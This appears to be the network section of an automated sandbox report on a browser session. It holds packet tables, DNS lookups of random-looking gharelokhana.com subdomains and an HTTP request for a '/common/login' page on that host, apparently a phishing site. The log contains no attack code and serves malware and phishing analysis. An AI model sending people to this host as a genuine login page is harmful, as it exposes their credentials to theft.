Dec 4, 2024 16:16:22.078464031 CET	49910	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:22.078649998 CET	49910	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:22.078661919 CET	443	49910	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:22.358015060 CET	443	49906	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:22.358694077 CET	49906	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:22.358706951 CET	443	49906	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:22.359217882 CET	49906	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:22.359230995 CET	443	49906	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:22.793277979 CET	443	49906	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:22.799165964 CET	443	49906	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:22.799218893 CET	443	49906	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:22.799262047 CET	49906	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:22.799326897 CET	49906	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:22.799370050 CET	49906	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:22.799386024 CET	443	49906	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:22.799396038 CET	49906	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:22.799401999 CET	443	49906	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:22.802680016 CET	49911	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:22.802725077 CET	443	49911	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:22.802795887 CET	49911	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:22.802947044 CET	49911	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:22.802959919 CET	443	49911	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:23.119606972 CET	443	49907	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:23.120269060 CET	49907	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:23.120291948 CET	443	49907	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:23.120803118 CET	49907	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:23.120807886 CET	443	49907	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:23.472394943 CET	49912	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:16:23.472453117 CET	443	49912	20.198.119.84	192.168.2.6
Dec 4, 2024 16:16:23.472556114 CET	49912	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:16:23.473332882 CET	49912	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:16:23.473351955 CET	443	49912	20.198.119.84	192.168.2.6
Dec 4, 2024 16:16:23.555064917 CET	443	49907	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:23.557547092 CET	443	49907	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:23.557615042 CET	49907	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:23.557718039 CET	49907	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:23.557739019 CET	443	49907	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:23.557761908 CET	49907	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:23.557768106 CET	443	49907	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:23.561301947 CET	49913	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:23.561352015 CET	443	49913	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:23.561695099 CET	443	49909	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:23.561789036 CET	49913	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:23.562050104 CET	49913	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:23.562066078 CET	443	49913	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:23.562532902 CET	49909	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:23.562566042 CET	443	49909	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:23.562767982 CET	49909	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:23.562772989 CET	443	49909	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:23.567698956 CET	443	49908	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:23.568195105 CET	49908	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:23.568207979 CET	443	49908	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:23.568846941 CET	49908	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:23.568851948 CET	443	49908	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:23.999895096 CET	443	49910	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:24.000899076 CET	49910	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:24.000916958 CET	443	49910	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:24.001421928 CET	49910	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:24.001435041 CET	443	49910	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:24.003110886 CET	443	49908	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:24.004024029 CET	443	49909	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:24.006424904 CET	443	49908	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:24.006493092 CET	49908	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:24.006577015 CET	49908	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:24.006588936 CET	443	49908	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:24.006598949 CET	49908	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:24.006603956 CET	443	49908	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:24.006892920 CET	443	49909	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:24.006978035 CET	49909	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:24.007000923 CET	49909	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:24.007000923 CET	49909	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:24.007009983 CET	443	49909	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:24.007019997 CET	443	49909	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:24.010143995 CET	49915	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:24.010152102 CET	49914	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:24.010185957 CET	443	49914	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:24.010190964 CET	443	49915	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:24.010283947 CET	49914	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:24.010443926 CET	49914	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:24.010459900 CET	443	49914	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:24.010560036 CET	49915	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:24.010560036 CET	49915	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:24.010611057 CET	443	49915	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:24.434511900 CET	443	49910	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:24.437519073 CET	443	49910	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:24.437586069 CET	443	49910	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:24.437657118 CET	49910	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:24.437676907 CET	49910	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:24.437760115 CET	49910	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:24.437776089 CET	443	49910	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:24.437788010 CET	49910	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:24.437793970 CET	443	49910	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:24.441052914 CET	49916	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:24.441093922 CET	443	49916	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:24.441164970 CET	49916	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:24.441353083 CET	49916	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:24.441370964 CET	443	49916	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:24.523875952 CET	443	49911	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:24.524698019 CET	49911	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:24.524739981 CET	443	49911	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:24.525206089 CET	49911	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:24.525213003 CET	443	49911	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:24.958564043 CET	443	49911	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:24.962260008 CET	443	49911	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:24.962383032 CET	49911	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:24.962496042 CET	49911	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:24.962516069 CET	443	49911	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:24.962529898 CET	49911	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:24.962534904 CET	443	49911	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:24.965981007 CET	49917	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:24.966032028 CET	443	49917	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:24.966134071 CET	49917	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:24.966345072 CET	49917	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:24.966361046 CET	443	49917	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:25.284488916 CET	443	49913	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:25.285320044 CET	49913	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:25.285350084 CET	443	49913	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:25.286081076 CET	49913	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:25.286087990 CET	443	49913	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:25.535204887 CET	443	49914	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:25.536039114 CET	49914	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:25.536078930 CET	443	49914	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:25.536489010 CET	49914	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:25.536494970 CET	443	49914	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:25.690155983 CET	443	49912	20.198.119.84	192.168.2.6
Dec 4, 2024 16:16:25.690242052 CET	49912	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:16:25.692343950 CET	49912	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:16:25.692357063 CET	443	49912	20.198.119.84	192.168.2.6
Dec 4, 2024 16:16:25.692625046 CET	443	49912	20.198.119.84	192.168.2.6
Dec 4, 2024 16:16:25.694770098 CET	49912	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:16:25.694833994 CET	49912	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:16:25.694839001 CET	443	49912	20.198.119.84	192.168.2.6
Dec 4, 2024 16:16:25.694968939 CET	49912	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:16:25.719243050 CET	443	49913	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:25.722477913 CET	443	49913	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:25.722527981 CET	443	49913	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:25.722526073 CET	49913	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:25.722593069 CET	49913	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:25.722719908 CET	49913	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:25.722739935 CET	443	49913	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:25.722771883 CET	49913	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:25.722781897 CET	443	49913	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:25.726344109 CET	49918	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:25.726372004 CET	443	49918	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:25.726449013 CET	49918	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:25.726599932 CET	49918	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:25.726615906 CET	443	49918	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:25.735797882 CET	443	49915	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:25.736212015 CET	49915	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:25.736229897 CET	443	49915	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:25.736681938 CET	49915	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:25.736685991 CET	443	49915	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:25.739358902 CET	443	49912	20.198.119.84	192.168.2.6
Dec 4, 2024 16:16:25.970921993 CET	443	49914	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:25.973467112 CET	443	49914	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:25.977535009 CET	49914	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:25.979000092 CET	49914	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:25.979000092 CET	49914	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:25.979028940 CET	443	49914	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:25.979038954 CET	443	49914	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:25.982456923 CET	49919	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:25.982513905 CET	443	49919	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:25.982587099 CET	49919	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:25.990869999 CET	49919	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:25.990885019 CET	443	49919	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:26.163203955 CET	443	49916	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:26.165858030 CET	49916	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:26.165904999 CET	443	49916	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:26.166353941 CET	49916	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:26.166359901 CET	443	49916	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:26.171982050 CET	443	49915	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:26.175683975 CET	443	49915	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:26.177458048 CET	49915	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:26.177508116 CET	49915	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:26.177508116 CET	49915	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:26.177531004 CET	443	49915	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:26.177541018 CET	443	49915	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:26.181070089 CET	49920	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:26.181114912 CET	443	49920	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:26.181370974 CET	49920	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:26.181516886 CET	49920	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:26.181531906 CET	443	49920	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:26.239162922 CET	443	49912	20.198.119.84	192.168.2.6
Dec 4, 2024 16:16:26.239263058 CET	443	49912	20.198.119.84	192.168.2.6
Dec 4, 2024 16:16:26.239348888 CET	49912	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:16:26.239700079 CET	49912	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:16:26.239715099 CET	443	49912	20.198.119.84	192.168.2.6
Dec 4, 2024 16:16:26.761996984 CET	443	49917	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:26.762761116 CET	49917	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:26.762792110 CET	443	49917	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:26.763376951 CET	49917	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:26.763382912 CET	443	49917	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:26.814294100 CET	443	49916	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:26.814456940 CET	443	49916	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:26.814543009 CET	49916	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:26.814835072 CET	49916	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:26.814855099 CET	443	49916	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:26.814980984 CET	49916	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:26.814996958 CET	443	49916	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:26.818487883 CET	49921	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:26.818531990 CET	443	49921	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:26.818605900 CET	49921	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:26.818809032 CET	49921	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:26.818820953 CET	443	49921	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:27.199502945 CET	443	49917	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:27.202641964 CET	443	49917	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:27.202687025 CET	49917	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:27.202703953 CET	443	49917	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:27.202718973 CET	443	49917	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:27.202766895 CET	49917	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:27.202830076 CET	49917	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:27.202847004 CET	443	49917	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:27.202856064 CET	49917	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:27.202862024 CET	443	49917	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:27.206549883 CET	49922	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:27.206589937 CET	443	49922	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:27.206677914 CET	49922	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:27.206866026 CET	49922	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:27.206877947 CET	443	49922	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:27.479945898 CET	443	49918	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:27.480525970 CET	49918	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:27.480537891 CET	443	49918	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:27.481057882 CET	49918	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:27.481061935 CET	443	49918	13.107.246.43	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 4, 2024 16:15:04.938452959 CET	53	61620	1.1.1.1	192.168.2.6
Dec 4, 2024 16:15:04.940805912 CET	53	60637	1.1.1.1	192.168.2.6
Dec 4, 2024 16:15:08.129710913 CET	53	52029	1.1.1.1	192.168.2.6
Dec 4, 2024 16:15:09.306619883 CET	55055	53	192.168.2.6	1.1.1.1
Dec 4, 2024 16:15:09.306735039 CET	61185	53	192.168.2.6	1.1.1.1
Dec 4, 2024 16:15:09.446604967 CET	53	55055	1.1.1.1	192.168.2.6
Dec 4, 2024 16:15:09.451538086 CET	53	61185	1.1.1.1	192.168.2.6
Dec 4, 2024 16:15:11.489475012 CET	52199	53	192.168.2.6	1.1.1.1
Dec 4, 2024 16:15:11.490067959 CET	57638	53	192.168.2.6	1.1.1.1
Dec 4, 2024 16:15:11.915676117 CET	53	52199	1.1.1.1	192.168.2.6
Dec 4, 2024 16:15:11.915884972 CET	53	57638	1.1.1.1	192.168.2.6
Dec 4, 2024 16:15:13.307739973 CET	59432	53	192.168.2.6	1.1.1.1
Dec 4, 2024 16:15:13.307967901 CET	61387	53	192.168.2.6	1.1.1.1
Dec 4, 2024 16:15:13.452621937 CET	53	59432	1.1.1.1	192.168.2.6
Dec 4, 2024 16:15:13.452873945 CET	53	61387	1.1.1.1	192.168.2.6
Dec 4, 2024 16:15:25.167372942 CET	53	61111	1.1.1.1	192.168.2.6
Dec 4, 2024 16:15:27.352045059 CET	51529	53	192.168.2.6	1.1.1.1
Dec 4, 2024 16:15:27.352793932 CET	63981	53	192.168.2.6	1.1.1.1
Dec 4, 2024 16:15:27.748528957 CET	53	51529	1.1.1.1	192.168.2.6
Dec 4, 2024 16:15:27.781516075 CET	53	63981	1.1.1.1	192.168.2.6
Dec 4, 2024 16:15:27.784121990 CET	58118	53	192.168.2.6	1.1.1.1
Dec 4, 2024 16:15:27.784262896 CET	61233	53	192.168.2.6	1.1.1.1
Dec 4, 2024 16:15:28.015221119 CET	53	61233	1.1.1.1	192.168.2.6
Dec 4, 2024 16:15:28.032151937 CET	53	58118	1.1.1.1	192.168.2.6
Dec 4, 2024 16:15:30.083615065 CET	56650	53	192.168.2.6	1.1.1.1
Dec 4, 2024 16:15:30.083785057 CET	49318	53	192.168.2.6	1.1.1.1
Dec 4, 2024 16:15:30.313913107 CET	53	56650	1.1.1.1	192.168.2.6
Dec 4, 2024 16:15:30.322386980 CET	53	49318	1.1.1.1	192.168.2.6
Dec 4, 2024 16:15:34.364012957 CET	49705	53	192.168.2.6	1.1.1.1
Dec 4, 2024 16:15:34.364156008 CET	63851	53	192.168.2.6	1.1.1.1
Dec 4, 2024 16:15:34.509177923 CET	53	63851	1.1.1.1	192.168.2.6
Dec 4, 2024 16:15:34.794150114 CET	53	49705	1.1.1.1	192.168.2.6
Dec 4, 2024 16:15:39.225574017 CET	53	61955	1.1.1.1	192.168.2.6
Dec 4, 2024 16:15:41.426487923 CET	57471	53	192.168.2.6	1.1.1.1
Dec 4, 2024 16:15:41.426630020 CET	61344	53	192.168.2.6	1.1.1.1
Dec 4, 2024 16:15:41.565706968 CET	53	61344	1.1.1.1	192.168.2.6
Dec 4, 2024 16:15:41.566545010 CET	53	57471	1.1.1.1	192.168.2.6
Dec 4, 2024 16:15:44.382494926 CET	53	52071	1.1.1.1	192.168.2.6
Dec 4, 2024 16:15:52.053023100 CET	53	50052	1.1.1.1	192.168.2.6
Dec 4, 2024 16:16:04.844255924 CET	53	51364	1.1.1.1	192.168.2.6
Dec 4, 2024 16:16:07.480140924 CET	53	51396	1.1.1.1	192.168.2.6

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 4, 2024 16:15:39.225661993 CET	192.168.2.6	1.1.1.1	c230	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 4, 2024 16:15:09.306619883 CET	192.168.2.6	1.1.1.1	0xf0fb	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 4, 2024 16:15:09.306735039 CET	192.168.2.6	1.1.1.1	0x7640	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 4, 2024 16:15:11.489475012 CET	192.168.2.6	1.1.1.1	0x19bf	Standard query (0)	fdgfhvcfdgfhhjh.gharelokhana.com	A (IP address)	IN (0x0001)	false
Dec 4, 2024 16:15:11.490067959 CET	192.168.2.6	1.1.1.1	0xf5ec	Standard query (0)	fdgfhvcfdgfhhjh.gharelokhana.com	65	IN (0x0001)	false
Dec 4, 2024 16:15:13.307739973 CET	192.168.2.6	1.1.1.1	0x7f68	Standard query (0)	fdgfhvcfdgfhhjh.gharelokhana.com	A (IP address)	IN (0x0001)	false
Dec 4, 2024 16:15:13.307967901 CET	192.168.2.6	1.1.1.1	0xff0d	Standard query (0)	fdgfhvcfdgfhhjh.gharelokhana.com	65	IN (0x0001)	false
Dec 4, 2024 16:15:27.352045059 CET	192.168.2.6	1.1.1.1	0xb1ac	Standard query (0)	5ba3c75c-4ac65d39.gharelokhana.com	A (IP address)	IN (0x0001)	false
Dec 4, 2024 16:15:27.352793932 CET	192.168.2.6	1.1.1.1	0x511b	Standard query (0)	5ba3c75c-4ac65d39.gharelokhana.com	65	IN (0x0001)	false
Dec 4, 2024 16:15:27.784121990 CET	192.168.2.6	1.1.1.1	0x6c8c	Standard query (0)	7eb5b5ab-4ac65d39.gharelokhana.com	A (IP address)	IN (0x0001)	false
Dec 4, 2024 16:15:27.784262896 CET	192.168.2.6	1.1.1.1	0x9c6c	Standard query (0)	7eb5b5ab-4ac65d39.gharelokhana.com	65	IN (0x0001)	false
Dec 4, 2024 16:15:30.083615065 CET	192.168.2.6	1.1.1.1	0xbfe1	Standard query (0)	5ba3c75c-4ac65d39.gharelokhana.com	A (IP address)	IN (0x0001)	false
Dec 4, 2024 16:15:30.083785057 CET	192.168.2.6	1.1.1.1	0x8981	Standard query (0)	5ba3c75c-4ac65d39.gharelokhana.com	65	IN (0x0001)	false
Dec 4, 2024 16:15:34.364012957 CET	192.168.2.6	1.1.1.1	0xb7b3	Standard query (0)	7eb5b5ab-4ac65d39.gharelokhana.com	A (IP address)	IN (0x0001)	false
Dec 4, 2024 16:15:34.364156008 CET	192.168.2.6	1.1.1.1	0xf8ce	Standard query (0)	7eb5b5ab-4ac65d39.gharelokhana.com	65	IN (0x0001)	false
Dec 4, 2024 16:15:41.426487923 CET	192.168.2.6	1.1.1.1	0xa25a	Standard query (0)	fdgfhvcfdgfhhjh.gharelokhana.com	A (IP address)	IN (0x0001)	false
Dec 4, 2024 16:15:41.426630020 CET	192.168.2.6	1.1.1.1	0x5258	Standard query (0)	fdgfhvcfdgfhhjh.gharelokhana.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 4, 2024 16:15:09.446604967 CET	1.1.1.1	192.168.2.6	0xf0fb	No error (0)	www.google.com	142.250.181.36	A (IP address)	IN (0x0001)	false
Dec 4, 2024 16:15:09.451538086 CET	1.1.1.1	192.168.2.6	0x7640	No error (0)	www.google.com		65	IN (0x0001)	false
Dec 4, 2024 16:15:11.915676117 CET	1.1.1.1	192.168.2.6	0x19bf	No error (0)	fdgfhvcfdgfhhjh.gharelokhana.com	164.92.191.86	A (IP address)	IN (0x0001)	false
Dec 4, 2024 16:15:13.452621937 CET	1.1.1.1	192.168.2.6	0x7f68	No error (0)	fdgfhvcfdgfhhjh.gharelokhana.com	164.92.191.86	A (IP address)	IN (0x0001)	false
Dec 4, 2024 16:15:27.748528957 CET	1.1.1.1	192.168.2.6	0xb1ac	No error (0)	5ba3c75c-4ac65d39.gharelokhana.com	164.92.191.86	A (IP address)	IN (0x0001)	false
Dec 4, 2024 16:15:28.032151937 CET	1.1.1.1	192.168.2.6	0x6c8c	No error (0)	7eb5b5ab-4ac65d39.gharelokhana.com	164.92.191.86	A (IP address)	IN (0x0001)	false
Dec 4, 2024 16:15:30.313913107 CET	1.1.1.1	192.168.2.6	0xbfe1	No error (0)	5ba3c75c-4ac65d39.gharelokhana.com	164.92.191.86	A (IP address)	IN (0x0001)	false
Dec 4, 2024 16:15:34.794150114 CET	1.1.1.1	192.168.2.6	0xb7b3	No error (0)	7eb5b5ab-4ac65d39.gharelokhana.com	164.92.191.86	A (IP address)	IN (0x0001)	false
Dec 4, 2024 16:15:41.566545010 CET	1.1.1.1	192.168.2.6	0xa25a	No error (0)	fdgfhvcfdgfhhjh.gharelokhana.com	164.92.191.86	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

fs.microsoft.com

fdgfhvcfdgfhhjh.gharelokhana.com

slscr.update.microsoft.com

otelrules.azureedge.net

https:

5ba3c75c-4ac65d39.gharelokhana.com

7eb5b5ab-4ac65d39.gharelokhana.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49721	164.92.191.86	80	6236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 16:15:12.037281990 CET	459	OUT	GET /common/login HTTP/1.1 Host: fdgfhvcfdgfhhjh.gharelokhana.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
